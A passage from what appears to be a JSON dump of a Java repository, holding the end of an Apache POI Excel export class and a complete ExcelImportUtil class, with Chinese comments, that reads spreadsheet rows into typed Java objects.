columnConfigs, sheet);\n                insertDataToSheet(sheet, data, columnConfigs, startRow, headStyle, bodyStyle);\n            } else {\n                for (int i = 0; i < sheets.size(); i++) {\n                    Sheet sheet = sheets.get(i);\n                    //如果有标题,添加标题\n                    int startRow = createSheetTitle(title, titleStyle, columnConfigs, sheet);\n                    //复制截断的数据,到数据表 sheet 页\n                    int startDataIndex = i * sheetMaxRow;\n                    int endDataIndex = (i + 1) * sheetMaxRow;\n                    if (endDataIndex > data.size()) {\n                        endDataIndex = data.size();\n                    }\n                    List<T> partData = new ArrayList<T>();\n                    for (int j = startDataIndex; j < endDataIndex; j++) {\n                        partData.add(data.get(j));\n                    }\n                    insertDataToSheet(sheet, partData, columnConfigs, startRow, headStyle, bodyStyle);\n                }\n            }\n        } catch (Exception e){\n            throw new ExcelException(\"注入数据出错 insertDataToSheet \"+e.getMessage(),e);\n        }\n        return workbook;\n    }\n\n    /**\n     * 功能:下面都是各种需要的导出方法重载<br/>\n     * 创建时间:2017-8-13上午8:57:04<br/>\n     * 作者：sanri<br/>\n     */\n    public Workbook export(List<T> data, CellStyle headStyle, CellStyle bodyStyle) {\n        return export(\"\", data, null, headStyle, bodyStyle);\n    }\n\n    public Workbook export(List<T> data) {\n        return export(data, null, null);\n    }\n\n    public Workbook export(String title, List<T> data) {\n        return export(title, data, null);\n    }\n\n    public Workbook export(String title, List<T> data, CellStyle titleStyle) {\n        return export(title, data, titleStyle, null, null);\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-9-1下午2:31:33<br/>\n     * 功能:写到输入流 <br/>\n     * 此方法只能用于导出<br/>\n     *\n     * @param outputStream\n     * @throws IOException\n     */\n    public void writeTo(OutputStream outputStream) throws IOException {\n        workbook.write(outputStream);\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-9-1下午2:27:29<br/>\n     * 功能:将当前的 workbook 转为输入流,此方法只能用于导出 <br/>\n     *\n     * @return\n     * @throws IOException\n     */\n    public InputStream toInputStream() throws IOException {\n        return toInputStream(workbook);\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-9-1下午2:30:33<br/>\n     * 功能:将任何一个 workbook 转为输入流 <br/>\n     *\n     * @param workbook\n     * @return\n     * @throws IOException\n     */\n    public static InputStream toInputStream(Workbook workbook) throws IOException {\n        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n        try {\n            workbook.write(byteArrayOutputStream);\n            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());\n            return byteArrayInputStream;\n        } finally {\n            if (byteArrayOutputStream != null) {\n                byteArrayOutputStream.close();\n            }\n        }\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-9-19下午5:06:41<br/>\n     * 功能:以默认样式导出 <br/>\n     *\n     * @param title\n     * @param data\n     * @return\n     */\n    public Workbook exportDefaultStyle(String title, List<T> data) {\n//\t\tcreateCellFont(\"宋体\", IndexedColors.BLACK, 15, b, i, u)\n        CellStyle titleStyle = createCellStyle(null, IndexedColors.WHITE, true, false);\n        CellStyle headStyle = createCellStyle(null, IndexedColors.LIGHT_GREEN, true, false);\n        CellStyle bodyStyle = createCellStyle(null, IndexedColors.LIGHT_YELLOW, true, false);\n        return export(title, data, titleStyle, headStyle, bodyStyle);\n    }\n\n    public Workbook exportDefaultStyle(List<T> data) {\n        return exportDefaultStyle(\"\", data);\n    }\n\n    /**\n     * 作者: sanri\n     * 时间 : 2017/08/12\n     * 功能 : 创建 sheet 标题,如果存在的话\n     *\n     * @param title\n     * @param titleStyle\n     * @param excelExport\n     * @param columnConfigs\n     * @param sheet\n     * @return 返回当前 sheet 起始行\n     */\n    private int createSheetTitle(String title, CellStyle titleStyle, List<ColumnConfig> columnConfigs, Sheet sheet) {\n        int startRow = 0;\n        if (StringUtils.isNotBlank(title)) {\n            Row titleRow = sheet.createRow(startRow++);\n            Cell titleCell = titleRow.createCell(0);\n            titleCell.setCellValue(title);\n            if (titleStyle != null) {\n                titleCell.setCellStyle(titleStyle);\n            }\n            //合并单元格\n            sheet.addMergedRegion(new CellRangeAddress(0, 0, 0, columnConfigs.size() - 1));\n            short titleRowHeight = excelExport.titleRowHeight();\n            titleRowHeight = (short) (titleRowHeight * BASE_HEIGHT_1_PX);\n            titleRow.setHeight(titleRowHeight);\n        }\n        return startRow;\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-8-12下午6:35:29<br/>\n     * 功能:添加数据到 sheet 页 <br/>\n     *\n     * @param <T>\n     * @throws InvocationTargetException\n     * @throws IllegalArgumentException\n     * @throws IllegalAccessException\n     */\n    private <T> void insertDataToSheet(Sheet sheet, List<T> partData, List<ColumnConfig> columnConfigs, int startRow, CellStyle headStyle, CellStyle bodyStyle) throws Exception {\n        Row headRow = sheet.createRow(startRow++);\n        headRow.setHeight((short) (excelExport.headRowHeight() * BASE_HEIGHT_1_PX));\n        //创建标题列\n        for (int i = 0; i < columnConfigs.size(); i++) {\n            ColumnConfig columnConfig = columnConfigs.get(i);\n            String chinese = columnConfig.getChinese();\n            Cell headCell = headRow.createCell(i);\n            headCell.setCellValue(chinese);\n            if (headStyle != null) {\n                headCell.setCellStyle(headStyle);\n            }\n        }\n\n        //创建数据列\n        for (int i = 0; i < partData.size(); i++) {\n            Row bodyRow = sheet.createRow(startRow++);\n            bodyRow.setHeight((short) (excelExport.bodyRowHeight() * BASE_HEIGHT_1_PX));\n            T dataItem = partData.get(i);\n            for (int j = 0; j < columnConfigs.size(); j++) {\n                ColumnConfig columnConfig = columnConfigs.get(j);\n                Method readMethod = columnConfig.getReadMethod();\n                Cell bodyCell = bodyRow.createCell(j);\n                if (bodyStyle != null) {\n                    bodyCell.setCellStyle(bodyStyle);\n                }\n                //add by sanri at 2018/11/05 设置 bodyCell 单元格格式\n                CellType cellType = columnConfig.getCellType();\n                bodyCell.setCellType(cellType.getValue());\n\n                Object cellData = readMethod.invoke(dataItem);\n                ExcelConverter excelConverter = columnConfig.getExcelConverter();\n                if(excelConverter != null){     //如果存在转换器，则转换数据\n                    cellData = excelConverter.convert(cellData);\n                }\n                Class<?> dataType = columnConfig.getDataType();\n\n                //解决数据为 null 的情况，设置对应的空值\n                if (cellData == null) {\n                    switch (cellType) {\n                        case CELL_TYPE_STRING:\n                            bodyCell.setCellType(Cell.CELL_TYPE_STRING);\n                            bodyCell.setCellValue(\"\");\n                            break;\n                        case CELL_TYPE_BOOLEAN:\n                            bodyCell.setCellType(Cell.CELL_TYPE_BOOLEAN);\n                            bodyCell.setCellValue(false);\n                            break;\n                        case CELL_TYPE_NUMERIC:\n                            bodyCell.setCellType(Cell.CELL_TYPE_NUMERIC);\n                            bodyCell.setCellValue(0);\n                            break;\n                        case CELL_TYPE_BLANK:\n                    }\n                    continue;\n                }\n\n                //后面的数据都是在有值的情况下\n                //如果数据类型是 double 或 Double 需要设置精度值\n                if (dataType == double.class || dataType == Double.class || dataType == float.class || dataType == Float.class) {\n                    String cellDataString = ObjectUtils.toString(cellData);\n                    int precision = columnConfig.getPrecision();\n                    if (precision != -1) {\n                        BigDecimal bigDecimal = new BigDecimal(cellDataString);\n                        if(dataType == double.class || dataType == Double.class) {\n                            //TODO bigDecimal 对于超大数无法设置小数，比如 RandomUtils.nextDouble() 方法生成的值\n                            cellData = bigDecimal.setScale(precision, RoundingMode.HALF_EVEN).doubleValue();\n                        }else if(dataType == float.class || dataType == Float.class){\n                            cellData = bigDecimal.setScale(precision, RoundingMode.HALF_EVEN).floatValue();\n                        }\n                    }\n                }\n\n                switch (cellType) {\n                    case CELL_TYPE_STRING:\n                        bodyCell.setCellType(Cell.CELL_TYPE_STRING);\n\n                        if (dataType == Date.class) {\n                            //获取日期对象数据\n                            Date cellDataReal = null;\n                            if (cellData != null) {\n                                cellDataReal = (Date) cellData;\n                            }\n\n                            //如果是日期类型,则调用转换规则进行转换\n                            String pattern = columnConfig.getPattern();\n                            if (StringUtils.isBlank(pattern)) {\n                                //如果是空格式,直接设置日期数据\n                                bodyCell.setCellValue(cellDataReal);\n                            } else {\n                                bodyCell.setCellValue(DateFormatUtils.format(cellDataReal, pattern));\n                            }\n                        } else {\n                            bodyCell.setCellValue(ObjectUtils.toString(cellData));\n                        }\n                        break;\n                    case CELL_TYPE_NUMERIC:\n                        bodyCell.setCellType(Cell.CELL_TYPE_NUMERIC);\n\n                        String cellDataString = ObjectUtils.toString(cellData, \"0\");\n                        boolean primitiveOrWrapper = ClassUtils.isPrimitiveOrWrapper(dataType);\n                        if(primitiveOrWrapper){\n                            if(dataType == int.class || dataType == Integer.class){\n                                bodyCell.setCellValue(NumberUtils.toInt(cellDataString));\n                            }else if(dataType == long.class || dataType == Long.class){\n                                bodyCell.setCellValue(NumberUtils.toLong(cellDataString));\n                            }else if(dataType == double.class || dataType == Double.class){\n                                bodyCell.setCellValue(NumberUtils.toDouble(cellDataString));\n                            }else if(dataType == float.class || dataType == Float.class){\n                                bodyCell.setCellValue(NumberUtils.toFloat(cellDataString));\n                            }else {\n                                logger.warn(\"单元格类型设置 numeric ,但数据类型不支持; 列为:\" + columnConfig.getPropertyName() + \",类型为:\" + dataType + \"，支持的类型有[int,long,double,float]\");\n                            }\n                        }else if(dataType == Date.class){       //如果日期需要设置进数值单元格，强转化为毫秒值\n                            Date cellDataReal = (Date) cellData;\n                            bodyCell.setCellValue(cellDataReal.getTime());\n                        }else {\n                            logger.warn(\"单元格类型设置 numeric ,但数据类型不是 numeric ; 列为:\" + columnConfig.getPropertyName() + \",类型为:\" + dataType);\n                        }\n                        break;\n                    case CELL_TYPE_BOOLEAN:\n                        if (dataType == Boolean.TYPE || dataType == Boolean.class) {\n                            bodyCell.setCellValue((Boolean) cellData);\n                        } else {\n                            logger.warn(\"单元格类型设置 boolean ,但数据类型不是 Boolean ; 列为:\" + columnConfig.getPropertyName()+\"，类型为:\"+dataType);\n                        }\n                        break;\n                    case CELL_TYPE_BLANK:\n                        //空值不设置数据\n                        break;\n                }\n\n            }\n        }\n\n        //设置列宽\n        boolean autoWidth = excelExport.autoWidth();\n        if (autoWidth) {\n            //自动列宽后使用两倍自动列宽\n            for (int i = 0; i < columnConfigs.size(); i++) {\n                sheet.autoSizeColumn(i);\n                ColumnConfig columnConfig = columnConfigs.get(i);\n\n                int width = sheet.getColumnWidth(i);\n                String titleChinese = columnConfig.getChinese();\n                float titleWidth = titleChinese.length() * BASE_CHINESE;\n                if (width < titleWidth) {\n                    width = (int) titleWidth;\n                    sheet.setColumnWidth(i, width);\n                }\n\n                if (columnConfig.isChineseWidth()) {\n                    // 宽度设置为原来两倍,并且加一个中文字宽度\n                    int width_2 = (int) (width * 2 + 1 * BASE_CHINESE);\n                    //add by sanri at 2017/12/02 解决最大宽度超出限制问题\n                    if (width_2 > 65280) {\n                        width_2 = 65280;\n                    }\n                    sheet.setColumnWidth(i, width_2);\n                }\n            }\n        } else {\n            //宽度配置策略 如果没有配置任何宽度,则取标题中文字宽度,如果有配置,则使用配置\n            for (int i = 0; i < columnConfigs.size(); i++) {\n                ColumnConfig columnConfig = columnConfigs.get(i);\n                //begin modify by sanri at 2017/09/19 增加列宽配置策略\n                int width = columnConfig.getWidth();\n                int charWidth = columnConfig.getCharWidth();\n                int pxWidth = columnConfig.getPxWidth();\n                int finalWidth = -1;\n                if (width == -1 && charWidth == -1 && pxWidth == -1) {\n                    //没有配置任何宽度,使用标题中文字宽度\n                    finalWidth = (int) (columnConfig.getChinese().length() * BASE_CHINESE);\n                } else {\n                    if (width != -1) {\n                        finalWidth = width;\n                    } else if (charWidth != -1) {\n                        finalWidth = (int) (charWidth * BASE_CHINESE);\n                    } else {\n                        finalWidth = (int) (pxWidth * BASE_WIDTH_1_PX);\n                    }\n                }\n//\t\t\t\tif(width < columnConfig.getChinese().length()){\n//\t\t\t\t\t//如果默认宽度是小于了中文字的宽度,则取中文字的宽度\n//\t\t\t\t\twidth = (int) (columnConfig.getChinese().length() * BASE_CHINESE);\n//\t\t\t\t}\n                //add by sanri at 2017/12/02 解决最大宽度超出限制问题\n                if (finalWidth > 65280) {\n                    finalWidth = 65280;\n                }\n                sheet.setColumnWidth(i, finalWidth);\n                //end modify by sanri at 2017/09/19 增加列宽配置策略\n            }\n        }\n\n        //隐藏列配置\n        for (int i = 0; i < columnConfigs.size(); i++) {\n            ColumnConfig columnConfig = columnConfigs.get(i);\n            boolean hidden = columnConfig.isHidden();\n            sheet.setColumnHidden(i, hidden);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/ExcelImportUtil.java",
    "content": "package com.sanri.excel.poi;\n\nimport com.sanri.excel.ExcelException;\nimport com.sanri.excel.poi.annotation.ExcelImport;\nimport com.sanri.excel.poi.handler.ErrorRowHandler;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.ClassUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.math.NumberUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\nimport org.apache.commons.lang3.time.DateUtils;\nimport org.apache.commons.lang3.time.FastDateFormat;\nimport org.apache.poi.ss.usermodel.*;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.InputStream;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.math.BigDecimal;\nimport java.math.RoundingMode;\nimport java.text.DecimalFormat;\nimport java.util.*;\n\n/**\n * 导入 Excel 工具类\n */\npublic class ExcelImportUtil {\n    private static Logger logger = LoggerFactory.getLogger(ExcelImportUtil.class);\n    /**\n     *\n     * 作者:sanri <br/>\n     * 时间:2017-11-15下午12:28:58<br/>\n     * 功能:简单数据导入 <br/>\n     * @param in 输入流\n     * @param clazz 导的数据是什么类型\n     * @param whichCol 导哪一列数据 从 0 开始\n     * @param startRow 从 0 开始\n     * @return\n     * 注:只支持第一个 sheet 页\n     */\n    public static <T> List<T> importListData(InputStream in,Class<T> clazz,int whichCol,int startRow){\n        List<T> data = new ArrayList<T>();\n\n        Workbook workbook = getWorkbookFromInputStream(in);\n        Sheet sheet = workbook.getSheetAt(0);\n        int physicalNumberOfRows = sheet.getPhysicalNumberOfRows();\n\n        //起始行大于总行数,返回空数据\n        if(startRow >= physicalNumberOfRows){\n            return data;\n        }\n\n        CreationHelper creationHelper = workbook.getCreationHelper();\n        //开始处理每一行数据\n        for(int i=startRow;i<physicalNumberOfRows;i++){\n            Row row = sheet.getRow(i);\n            if(row == null){\n                //处理行是绝对空的问题 add by sanri at 2017/12/12\n                continue;\n            }\n            int physicalNumberOfCells = row.getPhysicalNumberOfCells();\n            if(whichCol >= physicalNumberOfCells){\n                data.add(null);\n                continue;\n            }\n            Cell cell = row.getCell(whichCol);\n            //转换 cell 数据,并加入\n            if(cell == null){\n                continue;\n            }\n            T cellData = transferCellData(cell.getCellType(),cell,clazz,DateFormatUtils.ISO_DATE_FORMAT,decimalFormat,creationHelper);\n            data.add(cellData);\n        }\n        return data;\n    }\n\n    /**\n     *\n     * 作者:sanri <br/>\n     * 时间:2017-11-15下午12:31:59<br/>\n     * 功能:导入  map 类型数据 <br/>\n     * @param in\n     * @param clazz\n     * @param keyCol 键列 从 0 开始\n     * @param valueCol 值列 从 0 开始\n     * @param startRow 起始行 从 0 开始\n     * @return\n     */\n    public static <V> Map<String,V> importMapData(InputStream in,Class<V> clazz,int keyCol,int valueCol,int startRow){\n        Map<String,V> mapData = new HashMap<String, V>();\n\n        Workbook workbook = getWorkbookFromInputStream(in);\n        Sheet sheet = workbook.getSheetAt(0);\n        int physicalNumberOfRows = sheet.getPhysicalNumberOfRows();\n\n        //起始行大于总行数,返回空数据\n        if(startRow >= physicalNumberOfRows){\n            return mapData;\n        }\n\n        CreationHelper creationHelper = workbook.getCreationHelper();\n\n        //开始处理每一行数据\n        for(int i=startRow;i<physicalNumberOfRows;i++){\n            Row row = sheet.getRow(i);\n            if(row == null){\n                //处理行是绝对空的问题 add by sanri at 2017/12/12\n                continue;\n            }\n            int physicalNumberOfCells = row.getPhysicalNumberOfCells();\n            if(keyCol >= physicalNumberOfCells){\n                throw new ExcelException(\"键列不能为空 [row:\"+i+\",col:\"+keyCol+\"]\");\n            }\n\n            //获取键数据\n            Cell keyCell = row.getCell(keyCol);\n            if(keyCell == null){\n                continue;\n            }\n            String key = transferCellData(keyCell.getCellType(),keyCell, String.class, DateFormatUtils.ISO_DATE_FORMAT, decimalFormat,creationHelper);\n\n            //获取值数据\n            V value = null;\n            if(valueCol < physicalNumberOfCells){\n                Cell valueCell = row.getCell(valueCol);\n                if(valueCell == null){\n                    continue;\n                }\n                value = transferCellData(valueCell.getCellType(),valueCell, clazz, DateFormatUtils.ISO_DATE_FORMAT, decimalFormat,creationHelper);\n            }\n\n            mapData.put(key, value);\n        }\n\n        return mapData;\n    }\n\n    /**\n     * 从输入流导入 excel 数据,只支持一个 sheet 页\n     * @param in 输入流\n     * @param clazz 导入目标类\n     * @param errorRowHandler 错误行处理器 {@link com.sanri.excel.poi.handler.CollectErrorRowHandler}\n     * @param <T>\n     * @return\n     */\n    public static <T> List<T> importData(InputStream in, Class<T> clazz, ErrorRowHandler<T> errorRowHandler){\n        ExcelImport excelImport = clazz.getAnnotation(ExcelImport.class);\n        if(excelImport == null){\n            throw new ExcelException(\"需要在目标类加注解 ExcelImport 才可实现导入\");\n        }\n        List<ColumnConfig> columnConfigs = ColumnConfigUtil.parseColumnConfig(clazz,false);\n\n        List<T> data = new ArrayList<T>();\n        try{\n            Workbook workbook = getWorkbookFromInputStream(in);\n\n            //真正解析 excel 流,只解析第一个 sheet 页\n            int startRow = excelImport.startRow();\n            CreationHelper creationHelper = workbook.getCreationHelper();\n\n            Sheet sheet = workbook.getSheetAt(0);\n            int physicalNumberOfRows = sheet.getPhysicalNumberOfRows();\n            for(int i = startRow;i<physicalNumberOfRows;i++){\n                Row row = sheet.getRow(i);\n                if(row == null){\n                    //add by sanri at 2017/12/12 解决绝对空行问题\n                    continue;\n                }\n                //判断每行的数据都为 null 跳过 at 2018/3/13\n                boolean emptyRow = isEmptyRow(row);\n                if(emptyRow){continue;}\n\n                T dataItem = null;\n                try {\n                    dataItem = clazz.newInstance();\n                    data.add(dataItem);\n                } catch (Exception e) {\n                    throw new ExcelException(\"构建新实例出错:\"+e.getMessage(),e);\n                }\n                for (ColumnConfig columnConfig : columnConfigs) {\n                    Cell cell = null;\n                    Method writeMethod  = null;\n                    try{\n                        int index = columnConfig.getOrder();\n                        writeMethod = columnConfig.getWriteMethod();\n                        cell = row.getCell(index);\n                        if(cell != null){\t\t//add by sanri at 2017/09/08 解决单元格为空单元格的问题\n                            invokeData(cell.getCellType(), cell, writeMethod, columnConfig, dataItem, creationHelper);\n                        }\n                    }catch(Exception e){\n                        logger.error(\"数据注入出错:\"+e.getMessage(),e);\n                        //对注入出错的数据行进行处理,判断是否需要继续导入\n                        boolean isContinue = errorRowHandler.handlerRow(cell,writeMethod,columnConfig);\n                        if(isContinue){continue;}else{break;}\n                    }\n                }\n            }\n        } finally {\n            IOUtils.closeQuietly(in);\n        }\n        return data;\n    }\n\n    /**\n     *\n     * 作者:sanri <br/>\n     * 时间:2018-3-13下午3:18:12<br/>\n     * 功能:判断当前行是否全为空,如果全为空,返回 true <br/>\n     * @param row\n     * @return\n     */\n    private static boolean isEmptyRow(Row row) {\n        if (row == null) {\n            return true;\n        }\n        short firstCellNum = row.getFirstCellNum();\n        short lastCellNum = row.getLastCellNum();\n\n        for (int i = firstCellNum; i < lastCellNum; i++) {\n            Cell cell = row.getCell(i);\n            if (cell != null && cell.getCellType() != Cell.CELL_TYPE_BLANK) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    /**\n     *\n     * 作者:sanri <br/>\n     * 时间:2017-12-2下午4:11:26<br/>\n     * 功能:从输入流获取工作薄 <br/>\n     * @param in\n     * @return\n     */\n    public static Workbook getWorkbookFromInputStream(InputStream in)throws ExcelException {\n//\t\tWorkbook workbook = null;\n//\t\tif (!in.markSupported()) {\n//\t\t\tin = new PushbackInputStream(in, 8);\n//\t\t}\n//\t\ttry {\n//\t\t\tif (POIFSFileSystem.hasPOIFSHeader(in)) {\n//\t\t\t\tworkbook =  new HSSFWorkbook(in);\n//\t\t\t}\n//\t\t\tif (POIXMLDocument.hasOOXMLHeader(in)) {\n//\t\t\t\tworkbook =  new XSSFWorkbook(OPCPackage.open(in));\n//\t\t\t}\n//\t\t}  catch (Exception e) {\n//\t\t\tthrow new ParseException(\"excel 流解析失败\", e);\n//\t\t}\n//\t\treturn workbook;\n        try {\n            return WorkbookFactory.create(in);\n        } catch (Exception e) {\n            throw new ExcelException(\"excel 流解析失败 \",e);\n        }\n    }\n\n    /**\n     *\n     * 作者:sanri <br/>\n     * 时间:2017-12-2下午4:21:40<br/>\n     * 功能:将单元格数据转换成指定类型 <br/>\n     * @param cell\n     * @param clazz\n     * @param creationHelper CreationHelper creationHelper = workbook.getCreationHelper();\n     * @return\n     */\n    public static <T> T transferCellData(int cellType,Cell cell,Class<T> dataType,FastDateFormat dateFormat,DecimalFormat numberFormat,CreationHelper creationHelper ){\n        if(cell == null){\n            // 处理单元格为绝对空的问题 add by sanri at 2017/12/12\n            return null;\n        }\n        switch (cellType) {\n            case Cell.CELL_TYPE_BOOLEAN:\n                boolean booleanCellValue = cell.getBooleanCellValue();\n                if(dataType == Boolean.class || dataType == boolean.class){\n                    return dataType.cast(booleanCellValue);\n                }\n                logger.warn(\"boolean 单元格数据无法转换成类型:\"+dataType+\",在[\"+cell.getRowIndex()+\"]行,[\"+cell.getColumnIndex()+\"]列\");\n                return null;\n            case Cell.CELL_TYPE_BLANK:\n                //null 值无需写入\n                return null;\n            case Cell.CELL_TYPE_FORMULA:\n                FormulaEvaluator formulaEvaluator = creationHelper.createFormulaEvaluator();\n                CellValue cellValue = formulaEvaluator.evaluate(cell);\n                int newCellType = cellValue.getCellType();\n                return transferCellData(newCellType, cell, dataType, dateFormat, numberFormat, creationHelper);\n            case Cell.CELL_TYPE_NUMERIC:\n                //add by sanri at 2017/09/08 判断是否为日期单元格,使用 excel 日期进行转换\n                double doubleValue = cell.getNumericCellValue();\n                //根据目标类型来判断需要设置的值\n                if(dataType == Date.class){\n                    //目标类型为 Date\n                    Date javaDate = DateUtil.getJavaDate(doubleValue);\n                    return dataType.cast(javaDate);\n                }\n\n                if(dataType == String.class){\n                    if( DateUtil.isCellDateFormatted(cell)){\n                        //如果单元格是 date 类型,则转为 date 字符串\n                        Date javaDate = DateUtil.getJavaDate(doubleValue);\n                        return dataType.cast(dateFormat.format(javaDate));\n                    }\n\n                    String realValue = decimalFormat.format(doubleValue);\n                    return dataType.cast(realValue);\n                }\n\n                if(dataType== int.class || dataType== Integer.class){\n                    return dataType.cast(new Double(doubleValue).intValue());\n                }\n\n                if(dataType == Float.class || dataType == Float.class){\n                    return dataType.cast(new Double(doubleValue).floatValue());\n                }\n\n                if(dataType == Double.class || dataType == double.class){\n                    return dataType.cast(doubleValue);\n                }\n\n                if(dataType == Long.class || dataType == long.class){\n                    return dataType.cast(new Double(doubleValue).longValue());\n                }\n                logger.error(\"不支持的数字类型转换,只支持[int,float,long,double]中的一种,在:\"+cell.getRowIndex()+\" 行,\"+cell.getColumnIndex()+\" 列\");\n                break;\n            case Cell.CELL_TYPE_STRING:\n                String stringCellValue = cell.getStringCellValue();\n\n                if(ClassUtils.isPrimitiveOrWrapper(dataType)){\n                    Object realData = stringCell2RealTypeValue(dataType, stringCellValue);\n                    if(realData != null){\n                        return dataType.cast(realData);\n                    }\n                    logger.error(\"当前列数据未注入,不支持的类型:\"+dataType+\",只支持[int,long,double,float,boolean,date,String]\");\n                    return null;\n                }\n\n                if(dataType == Date.class){\n                    String pattern = dateFormat.getPattern();\n                    try {\n                        Date parseDate = DateUtils.parseDate(stringCellValue, new String []{pattern});\n                        return dataType.cast(parseDate);\n                    } catch (java.text.ParseException e) {\n                        logger.error(\"单元格日期解析错误,给定的日期值为 :\"+stringCellValue+\",要求的日期格式为:\"+pattern+\"; 在:\"+cell.getRowIndex()+\" 行,\"+cell.getColumnIndex()+\" 列\",e);\n                    }\n                }\n\n                return dataType.cast(stringCellValue);\n            case Cell.CELL_TYPE_ERROR:\n                //作为 null 值写入\n                return null;\n            default:\n                break;\n        }\n        return null;\n    }\n\n    /**\n     *\n     * 功能:注入数据,这里可能会有很多问题,还有数据小数点问题<br/>\n     * 创建时间:2017-8-12下午10:52:05<br/>\n     * 作者：sanri<br/>\n     * @param cellType\n     * @param cell\n     * @param writeMethod\n     * @param columnConfig\n     * @param dataItem\n     * @param creationHelper\n     */\n    static final  DecimalFormat decimalFormat = new DecimalFormat(\"0\");\n    private static void invokeData(int cellType,Cell cell,Method writeMethod,ColumnConfig columnConfig,Object dataItem,CreationHelper creationHelper) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException{\n        Class<?> dataType = columnConfig.getDataType();\n        switch (cellType) {\n            case Cell.CELL_TYPE_BOOLEAN:\n                boolean booleanCellValue = cell.getBooleanCellValue();\n                if(dataType == Boolean.class || dataType == boolean.class){\n                    writeMethod.invoke(dataItem, booleanCellValue);\n                }else{\n                    writeMethod.invoke(dataItem, String.valueOf(booleanCellValue));\n                }\n                break;\n            case Cell.CELL_TYPE_BLANK:\n                //null 值无需写入\n                break;\n            case Cell.CELL_TYPE_FORMULA:\n                FormulaEvaluator formulaEvaluator = creationHelper.createFormulaEvaluator();\n                CellValue cellValue = formulaEvaluator.evaluate(cell);\n                int newCellType = cellValue.getCellType();\n                invokeData(newCellType, cell, writeMethod, columnConfig, dataItem, creationHelper);\n                break;\n            case Cell.CELL_TYPE_NUMERIC:\n                //add by sanri at 2017/09/08 判断是否为日期单元格,使用 excel 日期进行转换\n                double doubleValue = cell.getNumericCellValue();\n                //根据目标类型来判断需要设置的值\n                if(dataType == Date.class){\n                    //目标类型为 Date\n                    Date javaDate = DateUtil.getJavaDate(doubleValue);\n                    writeMethod.invoke(dataItem, javaDate);\n                }else if(dataType == String.class){\n                    if( DateUtil.isCellDateFormatted(cell)){\n                        //如果单元格是 date 类型,则转为 date 字符串\n                        Date javaDate = DateUtil.getJavaDate(doubleValue);\n                        writeMethod.invoke(dataItem, DateFormatUtils.format(javaDate,columnConfig.getPattern()));\n                    }else{\n                        //add by sanri at 2017/09/08 解决读出科学计数法的字符串问题;  string 读数值单元格，是否需要取精度值\n                        int precision = columnConfig.getPrecision();\n                        if(precision != -1) {\n                            String realValue = new BigDecimal(String.valueOf(doubleValue)).setScale(precision, RoundingMode.HALF_EVEN).toPlainString();\n                            writeMethod.invoke(dataItem, realValue);\n                        }else{\n                            writeMethod.invoke(dataItem,String.valueOf(doubleValue));\n                        }\n                    }\n                }else if(dataType== int.class || dataType== Integer.class){\n                    writeMethod.invoke(dataItem, (int)doubleValue);\n                }else if(dataType == Float.class || dataType == Float.class){\n                    writeMethod.invoke(dataItem, (float)doubleValue);\n                }else if(dataType == Double.class || dataType == double.class){\n                    writeMethod.invoke(dataItem, doubleValue);\n                }else if(dataType == Long.class || dataType == long.class){\n                    writeMethod.invoke(dataItem, (long)doubleValue);\n                }else{\n                    logger.error(\"不支持的数字类型转换,只支持[int,float,long,double]中的一种,在:\"+columnConfig.getChinese());\n                }\n                break;\n            case Cell.CELL_TYPE_STRING:\n                String stringCellValue = cell.getStringCellValue();\n                if(columnConfig.isTrim()){\n                    stringCellValue = StringUtils.trim(stringCellValue);\n                }\n                if(ClassUtils.isPrimitiveOrWrapper(dataType) ){\n                    Object realValue = stringCell2RealTypeValue(dataType, stringCellValue);\n                    if(realValue == null){\n                        logger.warn(\"列[\"+columnConfig.getPropertyName()+\"]数据未注入,不支持的类型:\"+dataType+\",只支持[int,long,double,float,boolean,date,String]\");\n                    }else {\n                        writeMethod.invoke(dataItem, realValue);\n                    }\n                }else if(dataType == Date.class){\n                    try {\n                        writeMethod.invoke(dataItem, DateUtils.parseDate(stringCellValue, new String[]{columnConfig.getPattern()}));\n                    } catch (java.text.ParseException e) {\n                        logger.error(\"单元格日期解析错误,给定的日期值为 :\"+stringCellValue+\",要求的日期格式为:\"+columnConfig.getPattern(),e);\n                    }\n                }else{\n                    writeMethod.invoke(dataItem, stringCellValue);\n                }\n                break;\n            case Cell.CELL_TYPE_ERROR:\n                //作为 null 值写入\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * 字符串单元格，解析实际类型数据\n     * @param dataType\n     * @param stringCellValue\n     * @return\n     */\n    private static Object stringCell2RealTypeValue(Class<?> dataType, String stringCellValue) {\n        Object realValue = null;\n        if(dataType == int.class || dataType == Integer.class){\n            realValue = NumberUtils.toInt(stringCellValue);\n        }else if(dataType == long.class || dataType == Long.class){\n            realValue =  NumberUtils.toLong(stringCellValue);\n        }else if(dataType == double.class || dataType == Double.class){\n            realValue = NumberUtils.toDouble(stringCellValue);\n        }else if(dataType == float.class || dataType == Float.class){\n            realValue = NumberUtils.toFloat(stringCellValue);\n        }else if(dataType == boolean.class || dataType == Boolean.class){\n            realValue = Boolean.parseBoolean(stringCellValue);\n        }\n        return realValue;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/annotation/ExcelColumn.java",
